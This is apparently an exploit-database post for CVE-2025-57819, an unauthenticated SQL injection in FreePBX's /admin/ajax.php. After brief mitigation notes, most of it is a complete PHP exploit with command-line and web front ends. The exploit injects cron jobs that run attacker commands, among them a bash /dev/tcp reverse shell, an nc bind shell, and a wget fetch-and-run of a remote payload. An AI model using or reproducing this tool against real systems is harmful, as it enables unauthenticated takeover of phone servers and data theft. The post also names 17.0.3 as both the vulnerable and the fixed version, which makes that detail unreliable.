📄 FreePBX 17.0.3 SQL Injection

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    | # Title     : FreePBX 17.0.3 Unauthenticated SQL Injection in ajax.php                                                                    |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.freepbx.org/                                                                                                    |
    =============================================================================================================================================
    
    [+] References :  https://packetstorm.news/files/id/209776/ & 	CVE-2025-57819
    
    [+] Summary : 
              
        SQL Injection Point: brand parameter in /admin/ajax.php
        Database Access: FreePBX database user has privileges to modify cron jobs
        Cronjob Execution: Injected cron jobs are executed by the system
        Command Execution: Arbitrary commands executed via cron
    
    [+] Key Features
    
        Unauthenticated Access: No credentials required
        Automatic Cleanup: Removes created cron jobs after execution
        Multiple Payloads: Support for various payload types
        Web Interface: User-friendly web interface for testing
        Vulnerability Checking: Automated detection of vulnerable systems
    
    [+] Payload Types
    
        Command Execution: Basic system commands
        Reverse Shell: Connect back to attacker machine
        Bind Shell: Open listening port on target
        Meterpreter: Advanced payload delivery
    
    [+] Security Impact
    
        Complete system compromise
        Unauthorized access to telephony infrastructure
        Data exfiltration capabilities
        Persistence establishment
        Lateral movement opportunities
    
    [+] Indicators of Compromise:
    
        Unusual cron job entries
        SQL errors in web logs
        Unexpected network connections
        Modified database entries
    
    [+] Mitigation Steps:
    
        Update to FreePBX 15.0.66, 16.0.89, or 17.0.3
        Implement web application firewall rules
        Restrict access to admin interfaces
        Monitor cron job modifications
        Regular security assessments
    	
    [+]  POC : 
    
    php poc.php  or http://127.0.0.1/poc.php 
    
    <?php
    /*
     * FreePBX ajax.php unauthenticated SQLi to RCE
     * by indoushka
     * based on Metasploit module
     */
    
    class FreePBXExploit {
        private $target;
        private $port;
        private $ssl;
        private $base_path;
        private $timeout;
        private $job_name;
        
        public function __construct($target, $port = 80, $ssl = false, $base_path = '/') {
            $this->target = $target;
            $this->port = $port;
            $this->ssl = $ssl;
            $this->base_path = rtrim($base_path, '/');
            $this->timeout = 30;
            $this->job_name = null;
        }
        
        /**
         * Check if target is vulnerable
         */
        public function check() {
            echo "[*] Checking FreePBX vulnerability...\n";
            
            $random_str = $this->random_text(4);
            $payload = $random_str . "'";
            
            $response = $this->send_ajax_request($payload);
            
            if ($response && $response['code'] == 500) {
                if (strpos($response['body'], 'You have an error in your SQL syntax') !== false) {
                    echo "[+] ✓ Target is vulnerable - SQL injection detected\n";
                    return "vulnerable";
                } elseif (strpos($response['body'], 'Trying to access array offset on value of type bool') !== false) {
                    echo "[+] ✓ Target is vulnerable - Error-based SQLi confirmed\n";
                    return "vulnerable";
                }
            }
            
            echo "[-] ✗ Target is not vulnerable or patched\n";
            return "safe";
        }
        
        /**
         * Execute the exploit
         */
        public function exploit($payload_type = 'reverse_shell', $lhost = null, $lport = null) {
            echo "[*] Starting FreePBX exploitation...\n";
            
            // Generate random names
            $module_name = $this->random_text(6);
            $this->job_name = $this->random_text(6);
            
            // Generate payload command
            $command = $this->generate_payload($payload_type, $lhost, $lport);
            
            if (!$command) {
                echo "[-] Failed to generate payload\n";
                return false;
            }
            
            echo "[*] Generated command: " . htmlspecialchars($command) . "\n";
            
            // Build SQL injection payload
            $sql_payload = "';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) ";
            $sql_payload .= "VALUES ('{$module_name}','{$this->job_name}','{$command}',NULL,'* * * * *',30,1,1) -- ";
            
            echo "[*] Sending SQL injection payload...\n";
            
            $response = $this->send_ajax_request($sql_payload);
            
            if ($response && $response['code'] == 500) {
                if (strpos($response['body'], 'Trying to access array offset on value of type bool') !== false) {
                    echo "[+] ✓ Successfully created cronjob: '{$this->job_name}'\n";
                    echo "[*] Waiting for cronjob to trigger (up to 60 seconds)...\n";
                    
                    // Wait for execution
                    sleep(70);
                    return true;
                }
            }
            
            echo "[-] Failed to create cronjob\n";
            return false;
        }
        
        /**
         * Clean up created cronjob
         */
        public function cleanup() {
            if (!$this->job_name) {
                echo "[-] No cronjob to clean up\n";
                return false;
            }
            
            echo "[*] Attempting to clean up cronjob: '{$this->job_name}'\n";
            
            $cleanup_payload = "'; DELETE FROM cron_jobs WHERE jobname='{$this->job_name}' -- ";
            
            $response = $this->send_ajax_request($cleanup_payload);
            
            if ($response && $response['code'] == 500) {
                if (strpos($response['body'], 'Trying to access array offset on value of type bool') !== false) {
                    echo "[+] ✓ Cronjob removed successfully\n";
                    $this->job_name = null;
                    return true;
                }
            }
            
            echo "[-] Failed to remove cronjob - manual cleanup required\n";
            return false;
        }
        
        /**
         * Send AJAX request with SQL injection payload
         */
        private function send_ajax_request($brand_payload) {
            $url = $this->build_url('/admin/ajax.php');
            
            $params = [
                'module' => 'FreePBX\\modules\\endpoint\\ajax',
                'command' => 'model',
                'template' => $this->random_text(5),
                'model' => $this->random_text(5),
                'brand' => $brand_payload
            ];
            
            $query_string = http_build_query($params);
            $full_url = $url . '?' . $query_string;
            
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $full_url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => $this->timeout,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_USERAGENT => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36',
                CURLOPT_HEADER => true
            ]);
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            if ($response) {
                $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
                $headers = substr($response, 0, $header_size);
                $body = substr($response, $header_size);
                
                return [
                    'code' => $http_code,
                    'headers' => $headers,
                    'body' => $body
                ];
            }
            
            return false;
        }
        
        /**
         * Generate different payloads
         */
        private function generate_payload($type, $lhost, $lport) {
            switch ($type) {
                case 'reverse_shell':
                    if (!$lhost || !$lport) {
                        echo "[-] IP and port required for reverse shell\n";
                        return false;
                    }
                    // Bash reverse shell
                    return "bash -c 'bash -i >& /dev/tcp/{$lhost}/{$lport} 0>&1'";
                    
                case 'bind_shell':
                    if (!$lport) {
                        echo "[-] Port required for bind shell\n";
                        return false;
                    }
                    return "nc -lvp {$lport} -e /bin/bash";
                    
                case 'command':
                    return 'id; whoami; uname -a; pwd';
                    
                case 'meterpreter':
                    if (!$lhost || !$lport) {
                        echo "[-] IP and port required for meterpreter\n";
                        return false;
                    }
                    // This would typically download and execute a meterpreter payload
                    return "wget http://{$lhost}:8080/payload.elf -O /tmp/payload.elf && chmod +x /tmp/payload.elf && /tmp/payload.elf";
                    
                default:
                    return 'id; whoami';
            }
        }
        
        /**
         * Generate random text
         */
        private function random_text($length = 6) {
            $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
            $result = '';
            for ($i = 0; $i < $length; $i++) {
                $result .= $chars[rand(0, strlen($chars) - 1)];
            }
            return $result;
        }
        
        /**
         * Build full URL
         */
        private function build_url($path) {
            $protocol = $this->ssl ? 'https' : 'http';
            $full_path = $this->base_path . $path;
            return "{$protocol}://{$this->target}:{$this->port}{$full_path}";
        }
        
        /**
         * Destructor - auto cleanup
         */
        public function __destruct() {
            if ($this->job_name) {
                $this->cleanup();
            }
        }
    }
    
    // CLI Interface
    if (php_sapi_name() === 'cli') {
        echo "
        ╔══════════════════════════════════════════════════════════════╗
        ║                  FreePBX RCE Exploit                         ║
        ║                     CVE-2025-57819                           ║
        ║                     PHP Implementation                       ║
        ╚══════════════════════════════════════════════════════════════╝
        
        \n";
        
        $options = getopt("t:p:s:u:c:P:L:H:", [
            "target:",
            "port:",
            "ssl",
            "uri:",
            "check",
            "payload:",
            "lhost:",
            "lport:"
        ]);
        
        $target = $options['t'] ?? $options['target'] ?? null;
        $port = $options['p'] ?? $options['port'] ?? 80;
        $ssl = isset($options['s']) || isset($options['ssl']);
        $base_uri = $options['u'] ?? $options['uri'] ?? '/';
        $check_only = isset($options['c']) || isset($options['check']);
        $payload_type = $options['P'] ?? $options['payload'] ?? 'command';
        $lhost = $options['H'] ?? $options['lhost'] ?? null;
        $lport = $options['L'] ?? $options['lport'] ?? 4444;
        
        if (!$target) {
            echo "Usage: php freepbx_exploit.php [options]\n";
            echo "Options:\n";
            echo "  -t, --target    Target host (required)\n";
            echo "  -p, --port      Target port (default: 80)\n";
            echo "  -s, --ssl       Use SSL (default: false)\n";
            echo "  -u, --uri       Base URI path (default: /)\n";
            echo "  -c, --check     Check only (don't exploit)\n";
            echo "  -P, --payload   Payload type: command, reverse_shell, bind_shell, meterpreter (default: command)\n";
            echo "  -H, --lhost     Listener host for reverse shell\n";
            echo "  -L, --lport     Listener port for reverse shell (default: 4444)\n";
            echo "\nExamples:\n";
            echo "  php freepbx_exploit.php -t 192.168.1.100 -c\n";
            echo "  php freepbx_exploit.php -t freepbx.company.com -P reverse_shell -H 10.0.0.5 -L 4444\n";
            exit(1);
        }
        
        $exploit = new FreePBXExploit($target, $port, $ssl, $base_uri);
        
        if ($check_only) {
            $result = $exploit->check();
            echo "\n[*] Result: {$result}\n";
        } else {
            if ($exploit->exploit($payload_type, $lhost, $lport)) {
                echo "[+] Exploitation completed successfully\n";
            } else {
                echo "[-] Exploitation failed\n";
            }
        }
        
    } else {
        // Web Interface
        $action = $_POST['action'] ?? '';
        
        if ($action === 'check' || $action === 'exploit') {
            $target = $_POST['target'] ?? '';
            $port = $_POST['port'] ?? 80;
            $ssl = isset($_POST['ssl']);
            $base_uri = $_POST['uri'] ?? '/';
            $payload_type = $_POST['payload_type'] ?? 'command';
            $lhost = $_POST['lhost'] ?? '';
            $lport = $_POST['lport'] ?? 4444;
            
            if (empty($target)) {
                echo "<div style='color: red; padding: 10px; border: 1px solid red; margin: 10px;'>Target host is required</div>";
            } else {
                $exploit = new FreePBXExploit($target, $port, $ssl, $base_uri);
                
                ob_start();
                if ($action === 'check') {
                    $exploit->check();
                } else {
                    $exploit->exploit($payload_type, $lhost, $lport);
                }
                $output = ob_get_clean();
                
                echo "<pre style='background: #f4f4f4; padding: 15px; border: 1px solid #ddd; border-radius: 4px;'>$output</pre>";
                
                // Show cleanup option
                if ($action === 'exploit') {
                    echo '<form method="post" style="margin-top: 20px;">
                        <input type="hidden" name="target" value="' . htmlspecialchars($target) . '">
                        <input type="hidden" name="port" value="' . htmlspecialchars($port) . '">
                        <input type="hidden" name="uri" value="' . htmlspecialchars($base_uri) . '">
                        ' . ($ssl ? '<input type="hidden" name="ssl" value="1">' : '') . '
                        <button type="submit" name="action" value="cleanup" style="background: #ffc107; color: black; padding: 10px 20px; border: none; border-radius: 4px; cursor: pointer;">Clean Up Cronjob</button>
                    </form>';
                }
            }
            
            // Show back link
            echo '<a href="' . htmlspecialchars($_SERVER['PHP_SELF']) . '" style="display: inline-block; padding: 10px 20px; background: #007cba; color: white; text-decoration: none; border-radius: 4px; margin: 10px 0;">Back to Form</a>';
            
        } elseif ($action === 'cleanup') {
            $target = $_POST['target'] ?? '';
            $port = $_POST['port'] ?? 80;
            $ssl = isset($_POST['ssl']);
            $base_uri = $_POST['uri'] ?? '/';
            
            if (empty($target)) {
                echo "<div style='color: red;'>Target host is required</div>";
            } else {
                $exploit = new FreePBXExploit($target, $port, $ssl, $base_uri);
                
                ob_start();
                $exploit->cleanup();
                $output = ob_get_clean();
                
                echo "<pre style='background: #f4f4f4; padding: 15px; border: 1px solid #ddd; border-radius: 4px;'>$output</pre>";
                echo '<a href="' . htmlspecialchars($_SERVER['PHP_SELF']) . '" style="display: inline-block; padding: 10px 20px; background: #007cba; color: white; text-decoration: none; border-radius: 4px; margin: 10px 0;">Back to Form</a>';
            }
        } else {
            // Display the form
            echo '<!DOCTYPE html>
            <html>
            <head>
                <title>FreePBX RCE Exploit - CVE-2025-57819</title>
                <meta charset="UTF-8">
                <style>
                    body { 
                        font-family: Arial, sans-serif; 
                        margin: 0; 
                        padding: 20px; 
                        background: #f5f5f5;
                    }
                    .container { 
                        max-width: 800px; 
                        margin: 0 auto; 
                        background: white;
                        padding: 30px;
                        border-radius: 8px;
                        box-shadow: 0 2px 10px rgba(0,0,0,0.1);
                    }
                    h1 { 
                        color: #333; 
                        border-bottom: 2px solid #007cba;
                        padding-bottom: 10px;
                    }
                    h3 {
                        color: #666;
                    }
                    .form-group { 
                        margin-bottom: 20px; 
                    }
                    label { 
                        display: block; 
                        margin-bottom: 8px; 
                        font-weight: bold;
                        color: #333;
                    }
                    input[type="text"], select { 
                        width: 100%; 
                        padding: 10px; 
                        border: 1px solid #ddd; 
                        border-radius: 4px; 
                        box-sizing: border-box;
                        font-size: 14px;
                    }
                    .checkbox-group {
                        display: flex;
                        align-items: center;
                        gap: 10px;
                    }
                    button { 
                        background: #007cba; 
                        color: white; 
                        padding: 12px 25px; 
                        border: none; 
                        border-radius: 4px; 
                        cursor: pointer; 
                        margin-right: 10px;
                        font-size: 16px;
                        transition: background 0.3s;
                    }
                    button:hover {
                        background: #005a87;
                    }
                    .danger { 
                        background: #dc3545; 
                    }
                    .danger:hover {
                        background: #c82333;
                    }
                    .info { 
                        background: #17a2b8; 
                    }
                    .info:hover {
                        background: #138496;
                    }
                    .warning-box {
                        background: #fff3cd;
                        border: 1px solid #ffeaa7;
                        color: #856404;
                        padding: 15px;
                        border-radius: 4px;
                        margin: 20px 0;
                    }
                    .info-box {
                        background: #d1ecf1;
                        border: 1px solid #bee5eb;
                        color: #0c5460;
                        padding: 15px;
                        border-radius: 4px;
                        margin: 20px 0;
                    }
                </style>
            </head>
            <body>
                <div class="container">
                    <h1>FreePBX RCE Exploit</h1>
                    <h3>CVE-2025-57819 - Unauthenticated SQL Injection to RCE</h3>
                    
                    <div class="warning-box">
                        <strong>⚠️ Educational Use Only:</strong> This tool demonstrates a critical vulnerability in FreePBX.
                        Use only on systems you own or have explicit permission to test.
                    </div>
                    
                    <form method="post">
                        <div class="form-group">
                            <label for="target">Target Host:</label>
                            <input type="text" id="target" name="target" placeholder="192.168.1.100 or freepbx.company.com" required>
                        </div>
                        
                        <div class="form-group">
                            <label for="port">Port:</label>
                            <input type="text" id="port" name="port" value="80">
                        </div>
                        
                        <div class="form-group">
                            <label for="uri">Base URI:</label>
                            <input type="text" id="uri" name="uri" value="/">
                        </div>
                        
                        <div class="form-group">
                            <div class="checkbox-group">
                                <input type="checkbox" id="ssl" name="ssl">
                                <label for="ssl" style="display: inline; font-weight: normal;">Use SSL</label>
                            </div>
                        </div>
                        
                        <div class="form-group">
                            <label for="payload_type">Payload Type:</label>
                            <select id="payload_type" name="payload_type">
                                <option value="command">Test Command (id; whoami)</option>
                                <option value="reverse_shell">Reverse Shell</option>
                                <option value="bind_shell">Bind Shell</option>
                                <option value="meterpreter">Meterpreter</option>
                            </select>
                        </div>
                        
                        <div class="form-group">
                            <label for="lhost">Listener Host (for reverse shell):</label>
                            <input type="text" id="lhost" name="lhost" placeholder="Your IP address: 192.168.1.100">
                        </div>
                        
                        <div class="form-group">
                            <label for="lport">Listener Port (for reverse shell):</label>
                            <input type="text" id="lport" name="lport" value="4444">
                        </div>
                        
                        <button type="submit" name="action" value="check" class="info">Check Vulnerability</button>
                        <button type="submit" name="action" value="exploit" class="danger">Execute Exploit</button>
                    </form>
                    
                    <div class="info-box">
                        <h3>About CVE-2025-57819:</h3>
                        <p><strong>Vulnerability:</strong> Unauthenticated SQL Injection in ajax.php</p>
                        <p><strong>Affected Versions:</strong> FreePBX prior to 15.0.66, 16.0.89, 17.0.3</p>
                        <p><strong>Endpoint:</strong> /admin/ajax.php</p>
                        <p><strong>Impact:</strong> Remote Code Execution via cronjob injection</p>
                        <p><strong>CVSS Score:</strong> 9.8 (Critical)</p>
                        <p><strong>Exploit Chain:</strong> SQL Injection → Cronjob Creation → RCE</p>
                    </div>
                </div>
            </body>
            </html>';
        }
    }
    ?>
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================